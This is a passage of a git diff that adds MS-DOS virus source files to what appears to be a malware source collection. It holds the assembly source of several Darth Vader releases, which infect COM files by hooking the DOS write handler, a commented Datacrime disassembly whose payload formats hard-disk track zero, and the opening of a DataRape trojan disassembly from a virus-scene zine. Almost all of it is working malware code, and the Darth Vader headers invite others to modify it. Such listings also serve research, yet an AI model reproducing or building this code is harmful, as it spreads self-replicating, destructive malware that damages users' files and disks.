usage + mov di,cs:[0F2h] ; Get virus offset + mov [4],di ; and save it to DOSSEG + add di,offset HandleCall ; DI now adjusted to + movsw ; original dispatcher place + movsw ; Original dispatcher go at ES:DI for + movsb ; further calls from virus + pop di ; Restore founded offset + mov al,9Ah ; and put an absolute FAR CALL + stosb + mov ax,offset Handle ; Put offset of new dispatcher + add ax,cs:[0F2h] ; adjust him for different offsets + stosw ; and store offset in FAR CALL + mov ax,es ; put DOSSEG either in FAR CALL + stosw + +; Since this moment virus is installed and operated in memory. If make a copy +; of a file with DOS copy or PCTools and if file have area of 345 (or more) +; zeros, the copy (not the original) will became infected. Copied file will +; operate correctly when you start him. The virus logic allow multiple copies +; of the virus in the memory so you may have file with several copies of virus +; (each memory copy put himself in file) + + +ReturnControl ; Return control to main program + push cs ; Set DS and ES to point at PSP + push cs + pop ds + pop es + mov di,100h ; Set ES:DI point start of file at PSP:100 + push di ; Put DI in stack for dummy return + mov si,[0F0h] ; Get beginning of the virus + add si,offset First3 ; and adjust for first 3 instr. + movsw ; Move saved First instructions + movsb ; + mov ax,[0FEh] ; Restore saved AX (required by DOS + ret ; external command. Return control + ; via dummy RET +Fail + jmp Do ; Requested jump! Don't touch here! + +Handle + mov cs:[0Ah],ds ; Save write buffer segment + mov cs:[0Ch],dx ; Save write buffer offset + mov cs:[0Eh],cx ; Save write buffer size + + push ax ; Save important registers + push bx + push cx + push es + push si + push di + + cmp ah,40h ; If function is not 40 (WRITE) + jne Fail ; then call DOS with no infection + + cmp cx,offset LastByte+10h ; Check if size of buffer + jb Fail ; is big enough to hold all virus + + mov ax,1220h ; Get file handle internal table number + int 2Fh ; Via int2F (undocumented) + mov bl,es:[di] ; Load table number to BL + mov ax,1216h ; Get handle table address in ES:DI + int 2Fh ; Via int2F (undocumented) + add di,28h ; ES:DI will point file extension + + push cs ; Set DS to point in virus + pop ds + + mov si,offset Com ; SI point to COM string + add si,[4] ; adjust for different offsets + mov cx,3 ; Will compare 3 bytes + repe cmpsb ; Compare until equal + jne Do ; If not equal -> exit with no infect + + push ds ; ES point to virus (DOS) segment + pop es + mov ds,cs:[0Ah] ; DS point to write buffer segment + mov si,cs:[0Ch] ; SI point to write buffer offset + mov di,offset First3 ; DI point to save area for + add di,cs:[4] ; first 3 instruction. Adjust fo offset + movsw ; Save first 3 instruction from write buffer + movsb ; to virus buffer + + mov ax,9000h ; ES wil point zeros at 9000 + mov es,ax + mov cx,cs:[0Eh] ; Restore write buffer size +SearchHole + xor di,di ; ES:DI point to 9000:0000 + inc si ; SI point next byte from write buffer + dec cx ; Decrease remaining bytes + jz Do ; If test all buffer -> no infection + push cx ; Save remain buffer size + push si ; Save current buffer offset + mov cx,offset LastByte ; Will check for virus size only + repe cmpsb ; Check until equal + pop si ; Restore tested area offset + jcxz FoundHole ; If 345 zeros -> Go infect + pop cx ; Else restore remain buffer size + jmp short SearchHole ; And go check next byte +FoundHole + pop cx ; Restore remain buffer size + push si ; Save DS:SI (point to zeros in write buffer) + push ds ; + mov es,cs:[0Ah] ; ES:DI point to beginning of buffer + mov di,cs:[0Ch] ; + mov al,0E9h ; Put a NEAR JMP in buffer + stosb ; + sub si,cs:[0Ch] ; Calculate argument for JMP + sub si,3 + mov ax,si ; and store it in buffer + stosw ; + + pop es ; ES:DI now will point to zeros + pop di ; and the JMP address point here + ; So virus will receive control first + push cs ; DS:SI will point to virus code in memory + pop ds + mov si,cs:[4] ; Adjust for different offsets + mov cx,offset LastByte ; Will move virus size only + rep movsb ; Move virus in write buffer + +Do + pop di ; Restore important registers + pop si + pop es + pop cx + pop bx + pop ax + + mov dx,cs:[0Ch] ; Restore write buffer address + mov ds,cs:[0Ah] ; to DS:DX + +HandleCall + db 5 dup (0) ; Here come original DOS jump instr. + ; Usualy it is CALL SS:[MemOffs] + ; In original DOS jump instr. is placed + ; a FAR CALL to new WRITE handler + retf ; Return to DOS + +First3 ; Here come first 3 instruction of infected file + int 20h ; Now they are dummy terminate + nop +Com + db 'COM' ; String to check for any COM file + + db 'Darth Vader' ; Virus signature + +LastByte ; Dummy label to compute virus size + nop + \ No newline at end of file diff --git a/d/DARTH3.ASM b/d/DARTH3.ASM new file mode 100755 index 0000000..00f7581 --- /dev/null +++ b/d/DARTH3.ASM @@ -0,0 +1,197 @@ +;******************************************************************************* +;* * +;* D A R T H V A D E R ]I[ * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * +;* All Rights Reserved * +;* * +;* This is the third release of Darth Vader virus. He also infect only * +;* those COM file, wich have area of 255 (or more) zeros. As you might * +;* see, virus' size is reduced. This increase possibility file to have * +;* enough zeros to hold virus. In several tests the percentage of * +;* infected file was tested, and it was bigger than in Darth Vader 2. * +;* This release support only DOS 2.X and later, but less than 5.X * +;* You may make any modifications in this source, BUT let me know * +;* what you have done (drop me a message at Virus eXchange BBS) * +;* * +;* Waleri Todorov * +;******************************************************************************* + + + org 0 ; Begin from offset 0 + + nop ; Dummy NOPs. Don't remove them + nop + nop + + call NextLine ; Call next instruction +NextLine + pop bx ; To calculate it's own location + sub bx,6 ; Location stored in BX + mov [0FEh],ax ; Save AX for further usage + + xor ax,ax ; Set DS to point in interrupt table + mov ds,ax ; + les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG + xor di,di ; ES:DI point to DOSSEG:0000 + mov cx,1000h ; Will search 1000h bytes + call SearchZero ; Search Zeros in ES:DI + jc ReturnControl ; If CF==Yes -> no place and exit + mov cs:[bx+offset NewStart],di ; Save beginnig + + xor si,si ; SI=0; + push es ; Set DS point to DOSSEG + pop ds +SearchTable + lodsw ; Load word from DS:SI + cmp ax,8B2Eh ; Check first 'magic' byte + je Found1 ; If match -> check next byte +NotHere + dec si ; Else go search from next byte + jmp short SearchTable +Found1 + lodsb ; Load next byte + cmp al,9Fh ; If match with last 'magic' byte + je FoundTable ; fo to found table + dec si ; else go search from next byte + jmp short NotHere +FoundTable + lodsw ; Load table address to AX + xchg ax,bx ; Exchange AX <-> BX + mov cx,[bx+80h] ; Load in CX old WRITE handler offset + xchg ax,bx ; Exchange AX <-> BX + mov cs:[bx+offset OldWrite],cx ; Save old offset + lea cx,[di+offset Handle] ; Load in CX new offset + xchg ax,bx ; Exchgange AX <-> BX + mov [bx+80h],cx ; Store new WRITE offset to table + xchg ax,bx ; Exchange AX <-> BX + + push cs ; Set DS point to virus code + pop ds ; + mov cx,offset LastByte ; CX = Virus Size + mov si,bx ; SI=virus start offset + rep movsb ; ES:DI point to free area in DOS + ; go in there +ReturnControl + push cs ; Set DS & ES point in host program + push cs + pop ds + pop es + mov di,100h ; DI point CS:100 + lea si,[bx+offset First3] ; SI point old first instr + push di ; Save DI for dummy RETurn + movsw ; Move first 2 byte + movsb ; Move another one + mov ax,[0FEh] ; Restore AX (Remember?) + xor bx,bx ; Clear BX + ret ; Return control to host via dummy RETurn + +; Here terminate virus installation in memory. After this moment +; virus is active and will infect any COM file bigger than the virus +; and having enough zeros + + +SearchZero + xor ax,ax ; Set AX to zero (gonna search zeros) +Again + inc di ; ES:DI++ + push cx ; Save CX + push di ; Save DI + mov cx,offset LastByte ; CX = Virus Size + repe scasb ; Search until equal + pop di ; Restore DI + jcxz FoundPlace ; If CX==0 then ES:DI point to zeros + pop cx ; Else restore CX + loop Again ; And loop again until CX!=0 + stc ; If CX==0 + ret ; Set CF and return to caller (No place) +FoundPlace + pop cx ; Restore CX + clc ; Clear CF (ES:DI point to zero area) + ret ; Return to caller + +; The followed procedure is new WRITE handle. It check does write buffer +; have enough zeros to hold virus. If so -> copy virus in zero area, change +; entry point and write file, else write file only + +Handle + mov ss:[4],bp ; Save BP (BP used as index register) + push es ; Save important registers + push ax ; DS:DX are saved last, because + push bx ; they are used later in infection + push cx + push si + push di + push ds ; + push dx ; + + call NextHandle ; Call NextHandle to calculate +OldWrite ; variable area offset + dw 0 ; Old WRITE handler +NewStart + dw 0 ; Virus offset in DOSSEG +First3 + int 20h ; First 3 instruction of COM file + nop + +NextHandle + pop bp ; Set SS:BP to point to variable area + + cmp cx,offset LastByte+10h ; Check if write buffer + jb Do ; is big enough. If not -> exit + + mov ax,1220h ; Get file handle (BX) table number + int 2Fh ; Via interrupt 2F (undocumented) + mov bl,es:[di] ; Load handle table number in BL + mov ax,1216h ; Get file handle table address + int 2Fh ; Via interrupt 2F (undocumented) + cmp es:[di+29h],'MO' ; Check if file is ?OM + jne Do ; If not -> exit + + pop di ; Set ES:DI to point write buffer + pop es ; + push es ; + push di ; + mov ax,es:[di] ; Set AX to first 2 bytes from buffer + mov [bp+4],ax ; and save it in First instruction + mov al,es:[di+2] ; Set AL to third byte from buffer + mov [bp+6],al ; and save it in First instruction + + call SearchZero ; Search zeros area in buffer + jc Do ; If not found -> exit + + mov bx,di ; Set BX to point zero area + + push cs ; Set DS point to DOSSEG (Virus) + pop ds + mov si,[bp+2] ; Set SI to virus offset in DOSSEG + mov cx,offset LastByte ; Set CX to virus size + rep movsb ; Move virus to buffer + pop di ; Set DI point to buffer (not zero area) + push di + mov al,0E9h ; Set AL to JMP opcode + sub bx,di ; Set BX to virus offset in file + stosb ; Store JMP to buffer + xchg ax,bx ; AX now have offset of virus in file + sub ax,3 ; Calculate JMP argument + stosw ; and store it in buffer + +Do + pop dx ; Restore important registers + pop ds + pop di + pop si + pop cx + pop bx + pop ax + pop es + + push [bp] ; Put old WRITE offset in stack for RET + mov bp,ss:[4] ; Restore BP + + ret ; Call DOS via dummy RETurn + + db 'Darth Vader ' ; Virus sign + +LastByte label byte ; Last byte of virus + \ No newline at end of file diff --git a/d/DARTH4.ASM b/d/DARTH4.ASM new file mode 100755 index 0000000..5b1b3f2 --- /dev/null +++ b/d/DARTH4.ASM @@ -0,0 +1,144 @@ +;******************************************************************************* +;* * +;* D A R T H V A D E R IV * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * +;* All Rights Reserved * +;* * +;* Enchanced by: Lazy Wizard * +;* * +;* Turbo Assembler 2.0 * +;* * +;******************************************************************************* + + + .model tiny + .code + + org 100h + +Start: + call NextLine +First3: + int 20h + int 3 +NextLine: + pop bx + push ax + xor di,di + mov es,di + mov es,es:[2Bh*4+2] + mov cx,1000h + call SearchZero + jc ReturnControl + xchg ax,si + inc si +SearchTable: + dec si + db 26h + lodsw + cmp ax,8B2Eh + jne SearchTable + db 26h + lodsb + cmp al,75h + je ReturnControl + cmp al,9Fh + jne SearchTable + mov si,es:[si] + mov cx,LastByte-Start + lea ax,[di+Handle-Start] + org $-1 + xchg ax,es:[si+80h] + sub ax,di + sub ax,cx + mov [bx+OldWrite-Start-2],ax + mov word ptr [bx+NewStart+1-Start-3],di + lea si,[bx-3] + rep movsb +ReturnControl: + pop ax + push ss + pop es + mov di,100h + lea si,[bx+First3-Start-3] + push di + movsw + movsb + ret +SearchZero: + xor ax,ax + inc di + push cx + push di + mov cx,[LastByte-Start-1]/2+1 + repe scasw + pop di + pop cx + je FoundPlace + loop SearchZero + stc +FoundPlace: + ret +Handle: + push bp + call NextHandle +NextHandle: + pop bp + push es + push ax + push bx + push cx + push si + push di + test ch,ch + je Do + mov ax,1220h + int 2Fh + mov bl,es:[di] + mov ax,1216h + int 2Fh + cmp es:[di+29h],'MO' + jne Do + cmp word ptr es:[di+15h],0 + jne Do + push ds + pop es + mov di,dx + mov ax,[di] + mov [bp+First3-NextHandle],ax + mov al,[di+2] + mov [bp+First3+2-NextHandle],al + call SearchZero + jc Do + push di +NewStart: + mov si,0 + mov cx,[LastByte-Start-1]/2 + cli + rep + db 36h + movsw + sti + mov di,dx + mov al,0E9h + stosb + pop ax + sub ax,di + dec ax + dec ax + stosw +Do: + pop di + pop si + pop cx + pop bx + pop ax + pop es + pop bp +OldWrite: + jmp start + +LastByte label byte + + end Start diff --git a/d/DATACRIM.ASM b/d/DATACRIM.ASM new file mode 100755 index 0000000..5cfbc6d --- /dev/null +++ b/d/DATACRIM.ASM @@ -0,0 +1,537 @@ +; +; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM; +; : British Computer Virus Research Centre : +; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England : +; : Telephone: Domestic 0273-26105, International +44-273-26105 : +; : : +; : The 'Datacrime' Virus : +; : Disassembled by Joe Hirst, May 1989 : +; : : +; : Copyright (c) Joe Hirst 1989. : +; : : +; : This listing is only to be made available to virus researchers : +; : or software writers on a need-to-know basis. : +; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM< + + ; The virus occurs attached to the end of a COM file. The first + ; three bytes of the program are stored in the virus, and replaced + ; by a branch to the beginning of the virus. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; Addressability is maintained by taking the offset from the + ; initial jump to the virus. This is the length of the host minus + ; three (length of the jump instruction). Three is subtracted + ; from this figure (presumably the length of the original "host" + ; program when the virus was released). The result is kept in + ; register SI. Data addresses add SI+106H (COM origin of 100H + ; + length of jump + length of initial host) to the offset of the + ; data item within the virus. + + ; Note that if it does nothing else this virus will almost certainly + ; screw up the critical error handler because: + + ; 1. There is a missing segment override on the restore of the + ; original segment (presumably the result of inserting such + ; overrides manually), and + + ; 2. If the virus looks at more than one disk it will reinstall + ; the routine, overwriting the original saved vector with that + ; of its own routine. + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:CODE + + ORG 09AH +DW009A DW ? + + ORG 101H +DW0101 DW ? + + ; Start of virus - Set up relocation factor + + ORG 0 +START: MOV SI,CS:DW0101 ; Address initial jump to virus + SUB SI,3 ; Length of original host (?) + MOV AX,SI ; Copy relocation factor + CMP AX,0 ; Is it zero (initial release)? + JNE BP0012 ; Branch if not + JMP BP0110 ; Infection routine + + ; Restore host and test initial start month + +BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host + MOV BX,0100H ; Address beginning of host program + MOV CX,5 ; Word count +BP001C: MOV AX,[DI] ; Get next word + MOV [BX],AX ; Replace next word + ADD BX,2 ; Address next target word + ADD DI,2 ; Address next stored word + DEC CX ; Reduce count + JNZ BP001C ; Repeat for each word + MOV AH,2AH ; Get date function + INT 21H ; DOS service + MOV AL,CS:DB03EA[SI+106H] ; Get start month + CMP AL,DH ; Is it start month yet? + JG BP0040 ; Branch if not + MOV CS:DB03EA[SI+106H],0 ; Don't do test any more + JMP BP0045 + + ; Pass control to host program + +BP0040: MOV BX,0100H ; Address beginning of host program + JMP BX ; Branch to host program + + ; Are we in target part of year? + +BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day + CMP AX,DX ; Compare to actual + JL BP0051 ; Branch if after start date + JMP BP0110 ; Infection routine + + ; Is there a hard disk? + +BP0051: MOV AX,0 ; Clear register + PUSH DS + MOV DS,AX ; Address segment zero + MOV BX,0106H ; Address Int 41H segment + MOV AX,[BX] ; Get Int 41H segment + POP DS + CMP AX,0 ; Is it zero (no hard disk)? + JNE BP0067 ; Branch if not + MOV BX,0100H ; Address beginning of host program + JMP BX ; Branch to host program + + ; Display message and format track zero, heads 0 - 8 + +BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string + MOV CL,29H ; Load length of string +BP006D: MOV DL,CS:[BX] ; Get a character + XOR DL,55H ; Decrypt character + MOV AH,2 ; Display character function + INT 21H ; DOS service + INC BX ; Address next character + DEC CL ; Reduce count + JNZ BP006D ; Repeat for each character + MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?) + MOV CH,0 ; Track zero + MOV DX,0080H ; Head zero, first hard disk +BP0084: MOV CH,0 ; Track zero + MOV AL,0 ; Load zero + MOV CL,6 ; \ Multiply zero by 64 + SHL AL,CL ; / + MOV CL,AL ; Move result (zero) + OR CL,1 ; Now its one (and next line zero) + MOV AX,0500H ; Format track, interleave zero + INT 13H ; Disk I/O + JB BP009F ; Branch if error + INC DH ; Next head + CMP DH,9 ; Is it head nine? + JNE BP0084 ; Format if not +BP009F: MOV AH,2 ; Display character function + MOV DL,7 ; Beep + INT 21H ; DOS service + JMP BP009F ; Loop on beep + + ; Format table (required for ATs and PS/2s) + ; Program does not in fact point to this because the reference + ; to register SI is missing + +DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H + DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H + DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H + DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H + +; The next field decodes to: + +; DB 'DATACRIME VIRUS', 0AH, 0DH +; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH + +DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H + DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H + DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H + DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H + DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H + + ; Start of infection routine + +BP0110: MOV AH,19H ; Get current disk function + INT 21H ; DOS service + MOV CS:DB03F5[SI+106H],AL ; Save current disk + MOV AH,47H ; Get current directory function + MOV DX,0 ; Default disk + PUSH SI + LEA SI,DB03F6+1[SI+106H] ; Original directory store + INT 21H ; DOS service + POP SI + MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start + JMP BP0130 ; Select disk drive + + ; Select disk drive from table + +BP0130: CALL BP0172 ; Install Int 24H routine + LEA BX,DB03E3[SI+106H] ; Address disk drive table + MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer + INC CS:DB03EC[SI+106H] ; Update disk drive pointer + MOV AH,0 ; Clear top of register + ADD BX,AX ; Add disk drive pointer + MOV AL,CS:[BX] ; Get next disk drive + MOV DL,AL ; Move device for select + CMP AL,0FFH ; End of table? + JNE BP0151 ; Branch if not + JMP BP023C ; Tidy up and terminate + +BP0151: MOV AH,0EH ; Select disk function + INT 21H ; DOS service + MOV AH,47H ; Get current directory function + MOV DL,0 ; Default drive + PUSH SI + LEA SI,DB0417+1[SI+106H] ; Current directory path name + INT 21H ; DOS service + POP SI + MOV BX,4 ; Address critical error + MOV AL,CS:[BX] ; Get critical error code + CMP AL,3 ; Was it three? + JNE BP01B7 ; Branch if not + MOV AL,0 ; \ Set it back to zero + MOV CS:[BX],AL ; / + JMP BP0130 ; Select next disk drive + + ; Install interrupt 24H routine + +BP0172: XOR AX,AX ; Clear register + PUSH DS + MOV DS,AX ; Address segment zero + MOV BX,0090H ; Address Int 24H vector + MOV AX,[BX+2] ; Get Int 24H segment + MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment + MOV AX,[BX] ; Get Int 24H offset + MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset + MOV AX,CS ; Get current segment + MOV [BX+2],AX ; Set new Int 24H segment + LEA AX,BP01AE[SI+106H] ; Int 24H routine + MOV [BX],AX ; Set new Int 24H offset + POP DS + RET + + ; Restore original interrupt 24H + +BP0196: XOR AX,AX ; Clear register + PUSH DS + MOV DS,AX ; Address segment zero + MOV BX,0090H ; Address Int 24H vector + MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment + MOV [BX+2],AX ; Restore Int 24H segment + MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:) + MOV [BX],AX ; Restore Int 24H offset + POP DS + RET + + ; Interrupt 24H routine + +BP01AE: MOV AL,3 ; Fail the system call + MOV BX,4 ; Address critical error byte + MOV CS:[BX],AL ; Save code + IRET + +BP01B7: CALL BP02DA ; Find and infect a file + MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch + CMP AL,1 ; Is it on? + JNE BP01C6 ; Branch if not + JMP BP023C ; Tidy up and terminate + +BP01C6: CALL BP0260 ; Get next directory + JNB BP01CE ; Branch if found + JMP BP0130 ; Select next disk drive + +BP01CE: MOV CX,0040H ; Maximum characters to copy + PUSH SI + DEC DI ; \ + DEC DI ; ) Address back to '*.*' + DEC DI ; / + MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon + MOV SI,BX ; Address file name + CLD +BP01DC: LODSB ; \ Copy a character + STOSB ; / + DEC CX ; Decrement count + CMP AL,0 ; Was last character zero? + JNE BP01DC ; Next character if not + POP SI + MOV AH,3BH ; Change current directory function + LEA DX,DB0438[SI+106H] ; Directory pathname + INT 21H ; DOS service + CALL BP02DA ; Find and infect a file + MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch + CMP AL,1 ; Is it on? + JE BP023C ; Tidy up and terminate if yes + CALL BP0260 ; Get next directory + JNB BP01CE ; Branch if found + MOV AH,3BH ; Change current directory function + LEA DX,DB0417[SI+106H] ; Current directory path name + INT 21H ; DOS service + INC CS:DB03E2[SI+106H] ; Increment directory count + CALL BP0260 ; Get next directory + JB BP023C ; Branch if not found + MOV AL,CS:DB03E2[SI+106H] ; Get directory count +BP0214: CMP AL,0 ; Is directory count zero yet? + JNE BP021D ; Branch if not + ADD BX,9 ; ??? + JMP BP01CE ; ??? Add directory name to path + +BP021D: MOV AH,4FH ; Find next file function + PUSH AX + INT 21H ; DOS service + POP AX + JNB BP0228 ; Branch if no error + JMP BP0130 ; Select next disk drive + +BP0228: PUSH AX + MOV AH,2FH ; Get DTA function + INT 21H ; DOS service + ADD BX,15H ; Address attributes byte + MOV AL,10H ; Directory attribute + CMP CS:[BX],AL ; Is it a directory? + POP AX + JNE BP021D ; Branch if not + DEC AL ; Decrement directory count + JMP BP0214 + + ; Reset disk and directory, and pass control to host + +BP023C: MOV AH,0EH ; Select disk function + MOV DL,CS:DB03F5[SI+106H] ; Get original current disk + INT 21H ; DOS service + MOV AH,3BH ; Change current directory function + LEA DX,DB03F6[SI+106H] ; Original directory + INT 21H ; DOS service + CALL BP0196 ; Restore Int 24H + MOV AX,SI ; Copy relocation factor + CMP AX,0 ; Is it zero (initial release)? + JE BP025C ; Terminate 8f not + MOV BX,0100H ; Address beginning of host program + JMP BX ; Branch to host program + + ; Terminate + +BP025C: MOV AH,4CH ; End process function + INT 21H ; DOS service + + ; Get next directory + +BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname + MOV CX,003AH ; Length to clear + MOV AL,0 ; Set to zero + CLD + REPZ STOSB ; Clear pathname area + MOV AH,47H ; Get current directory function + PUSH SI + MOV DX,0 ; Current drive + LEA SI,DB0438+1[SI+106H] ; Directory pathname + INT 21H ; DOS service + POP SI + CLD + LEA DI,DB0438+1[SI+106H] ; Directory pathname + MOV CX,0040H ; Length to search + MOV AL,0 ; Search for zero + REPNZ SCASB ; Search for end of pathname + JZ BP0289 ; Branch if found + STC + RET + + ; Set file name wildcard on path + +BP0289: DEC DI ; \ Back two positions + DEC DI ; / + MOV AL,[DI] ; Get character + CMP AL,'\' ; Does path end in dir delim? + JE BP0294 ; Branch if yes + INC DI ; Next position + MOV AL,'\' ; Make next character a dir delim +BP0294: MOV [DI],AL ; Store character + INC DI ; Next position + MOV AL,'*' ; All files + MOV [DI],AL ; Store character + INC DI ; Next position + MOV AL,'.' ; Extension + MOV [DI],AL ; Store character + INC DI ; Next position + MOV AL,'*' ; all extensions + MOV [DI],AL ; Store character + INC DI ; Next position + LEA DX,DB0438[SI+106H] ; Address directory pathname + MOV AH,4EH ; Find first file function + MOV CX,0010H ; Find directories + INT 21H ; DOS service + JNB BP02B4 ; Branch if no error + RET + + ; Valid directories only + +BP02B4: MOV AH,2FH ; Get DTA function + INT 21H ; DOS service + ADD BX,15H ; Address attribute byte + MOV AL,10H ; Directory attribute + CMP CS:[BX],AL ; Is it a directory? + JNE BP02D2 ; Branch if not + CLC + MOV AH,2FH ; Get DTA function + INT 21H ; DOS service + ADD BX,1EH ; Address directory name + MOV AL,'.' ; Prepare to test first byte + CMP CS:[BX],AL ; Is it a pointer to another dir? + JE BP02D2 ; Branch if yes + RET + +BP02D2: MOV AH,4FH ; Find next file function + INT 21H ; DOS service + JNB BP02B4 ; Branch if no error + STC + RET + + ; Find and infect a file + +BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off + MOV AH,4EH ; Find first file function + MOV CX,7 ; All files + LEA DX,DB03ED[SI+106H] ; Address '*.COM' + INT 21H ; DOS service + JNB BP02F6 ; Branch if no error + RET + +BP02EF: MOV AH,4FH ; Find next file function + INT 21H ; DOS service + JNB BP02F6 ; Branch if no error + RET + + ; Exclude COMMAND.COM + +BP02F6: MOV BX,00A4H ; Address seventh letter of name + MOV AL,[BX] ; Get character + CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)? + JNE BP0301 ; Branch if not + JMP BP02EF ; Next file + + ; Is it already infected? + +BP0301: MOV BX,0096H ; Address time of file + MOV CX,[BX] ; Get time of file + ADD BX,2 ; Address date of file + MOV DX,[BX] ; Get date of file + MOV AL,CL ; Copy low byte of time + AND AL,0E0H ; Isolate low part of minutes + MOV AH,AL ; Copy low part of minutes + SHR AL,1 ; \ + SHR AL,1 ; \ + SHR AL,1 ; ) Move mins to secs position + SHR AL,1 ; / + SHR AL,1 ; / + OR AL,AH ; Combine with minutes + CMP AL,CL ; Compare to actual time + JNE BP0323 ; Branch if different + JMP BP02EF ; Find next file + + ; Uninfected COM file found + +BP0323: PUSH CX + PUSH DX + MOV AX,CS:DW009A ; Get low-order length + MOV CS:DW03D3[SI+106H],AX ; Save low-order length + CALL BP03AA ; Remove read-only attribute + MOV AX,3D02H ; Open handle (R/W) function + MOV DX,009EH ; File name + INT 21H ; DOS service + MOV BX,AX ; Move handle + MOV AH,3FH ; Read handle function + LEA DX,DB03D5[SI+106H] ; Store area for start of host + MOV CX,000AH ; Read first ten bytes + INT 21H ; DOS service + MOV AX,4202H ; Move file pointer (EOF) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + MOV CX,OFFSET ENDADR ; Length of virus + NOP + LEA DX,[SI+106H] ; Address start of virus + MOV AH,40H ; Write handle function + INT 21H ; DOS service + MOV AX,4200H ; Move file pointer (start) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + MOV AX,CS:DW009A ; Get low-order length + SUB AX,3 ; Subtract length of jump + MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump + MOV AH,40H ; Write handle function + MOV CX,3 ; Length of jump + LEA DX,DB03DF[SI+106H] ; Address jump instruction + INT 21H ; DOS service + POP DX + POP CX + AND CL,0E0H ; Isolate low part of minutes + MOV AL,CL ; Copy low part of minutes + SHR CL,1 ; \ + SHR CL,1 ; \ + SHR CL,1 ; ) Move mins to secs position + SHR CL,1 ; / + SHR CL,1 ; / + OR CL,AL ; Combine with minutes + MOV AX,5701H ; Set file date & time function + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + CALL BP03C1 ; Replace attributes + MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on + MOV AH,3BH ; Change current directory function + LEA DX,DB0417[SI+106H] ; Current directory path name + INT 21H ; DOS service + RET + + ; Remove read-only attribute + +BP03AA: MOV DX,009EH ; Address file name + MOV AX,4300H ; Get file attributes function + INT 21H ; DOS service + MOV CS:DW03F3[SI+106H],CX ; Save attributes + AND CX,00FEH ; Set off read-only + MOV AX,4301H ; Set file attributes function + INT 21H ; DOS service + RET + + ; Replace attributes + +BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes + MOV DX,009EH ; Address file name + MOV AX,4301H ; Set file attributes function + INT 21H ; DOS service + RET + +DW03CF DW 1142H ; Original Int 24H segment +DW03D1 DW 175DH ; Original Int 24H offset +DW03D3 DW 0039H ; Low-order length of host +DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host +DB03DF DB 0E9H ; \ Jump for host program +DW03E0 DW 0 ; / +DB03E2 DB 0BH +DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B) +DW03E8 DW 0A0CH ; Start month and day +DB03EA DB 0 ; Start month +DB03EB DB 0 ; Infection completed switch +DB03EC DB 3 ; Disk drive pointer +DB03ED DB '*.COM', 0 +DW03F3 DW 20H ; File attributes +DB03F5 DB 0 ; Original current disk +DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory +DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory +DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname + + DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H + DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H + DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H + +ENDADR EQU $ + +CODE ENDS + + END START + diff --git a/d/DATERAPE.ASM b/d/DATERAPE.ASM new file mode 100755 index 0000000..6e26964 --- /dev/null +++ b/d/DATERAPE.ASM @@ -0,0 +1,85 @@ +>>> Article From Evolution #2 - YAM '92 + +Article Title: Data Rape v2.1 Trojan +Author: Admiral Bailey + + +;=--- +; +; DataRape 2.1 Trojan +; +; Disassembled By Admiral Bailey [YAM '92] +; June 25, 1992 +; +; The writers of this virus are Zodiac and Data Disruptor +; +; Notes:Just a regular trojan. This one puts the messege into the +; sector it writes. Even though its not advanced it gets the +; job done. +; +;=--------- +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h + +datarap2 proc far +start: + jmp begin +messege db '----------------------------',0Dh,0ah + db ' DataRape v2.1 ',0dh,0ah + db ' Written by Zodiac and ',0dh,0ah + db ' Data 